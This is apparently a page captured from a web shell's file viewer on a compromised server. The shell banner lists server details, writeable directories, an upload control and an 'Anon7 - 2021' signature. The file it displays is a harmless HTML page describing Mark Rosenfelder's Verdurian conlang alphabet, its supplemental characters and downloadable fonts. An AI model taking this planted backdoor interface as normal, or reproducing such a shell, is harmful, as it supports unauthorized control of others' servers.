KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.62
System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64
User : www ( 80)
PHP Version : 8.3.8
Disable Function : NONE
Directory :  /domains/markrose/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /domains/markrose/znakora.html
<HTML> 
<HEAD><TITLE>The Verdurian Alphabet</TITLE></HEAD> 


<BODY BGCOLOR="#E0E0E0">
<H3>The Verdurian Alphabet</H3>

Devised by <A HREF="http://www.zompist.com">Mark Rosenfelder</a>.  See my <i>Grammar of Verdurian</i> for further explanations.

<hr>

<H4>Standard characters</H4>
 
<P><CENTER><IMG  Align=Top SRC="znak1.gif"></CENTER>

<P>Top row: upper case
<BR>Second row: lower case
<BR><font color="#2020FF">Third row: letter names (in Verdurian)</font>
<BR><font color="#FF1111">Last row: standard transliteration</font>

<H4>Supplemental characters</H4>
 
<P><CENTER><IMG  Align=Top SRC="znak2.gif"></CENTER>

<P>Characters not needed for writing Verdurian, but used in related languages.  The names given are those used by Verdurian scholars.

<p><b>Odh</b> and <b>ten</b> are used in Cadhinor and Kebreni.
<p><b>Chen vu&aacute;&euml;</b> 'voiced chen', transliterated j, is used in Caizu, Isma&icirc;n, and Flaidish.
<p><b>&Uuml; breve</b> 'short &uuml;', transliterated w, is used in Caizu, Isma&icirc;n, and Kebreni.
<p><b>Shen isma&euml;</b> and <b>ezh isma&euml;</b> are Isma&icirc;n's retroflex sibilants, which sound like sh and zh to Verdurians.
<p><b>Chen isma&euml;</b> is Isma&icirc;n's alveolo-palatal stop, which sounds like ch to Verdurians.  The voiced version is represented with the <b>chen vu&aacute;&euml;</b>.
<p><b>La ismaa</b> is Isma&icirc;n's lateral fricative, much like Welsh ll.
<p><b>Ra ismaa</b> is Isma&icirc;n's syllabic R (in Isma&icirc;n, distinct from consonantal r).
<p><b>C&euml;s fleade</b> 'Flaid C' is transliterated X and pronounced /ks/.
<p>The <b>Nish fleade</b> is the Flaidish glottal stop; to the Verdurians it sounds like no sound at all, thus its name, 'Flaid nothing'.

<H4>Diacritics and punctuation</H4>
 
<P><CENTER><IMG  Align=Top SRC="znak3.gif"></CENTER>

<P>The diacritic marks are shown with a sample vowel (u).  Separate diacritics are needed for capital and lowercase letters, as shown, except for the <b>lenge cuzea</b>.  

<H4>Digits and mathematical symbols</H4>
 
<P><CENTER><IMG  Align=Top SRC="znak4.gif"></CENTER>

<P>The so-called Floran symbols are shown, which work like English numerals.

<p>The ordinal sign is used after ordinal numbers; the fraction sign after fractions; e.g. after '2' it means '1/2'.  

<hr>
<H4>Verdurian fonts</H4>

The above graphics were realized using two TrueType fonts: one, <i>Verdurian</i>, contains Verdurian characters; the other, <i>Maraille</i>, contains the matching Roman characters with the appropriate diacritics.  Text can thus be transliterated or Verdurianized simply by changing the font.

<p>If you'd like to download these fonts (in Windows format), click on the links below.  If you're running Netscape Navigator, for instance, right-click on the link and select <I>Save Link As</I>; in Internet Explorer, right-click and select <I>Save Target as</I>.  Then copy the files to your fonts folder.
<br><a href="verdurian.ttf">Verdurian</a>
<br><a href="maraille.ttf">Maraille</a>

<p>Maraille contains quite a few useful non-Western European accented characters.  It's based on Palatino, so you can use Palatino for characters Maraille doesn't have.

</BODY> 
</HTML> 


Anon7 - 2021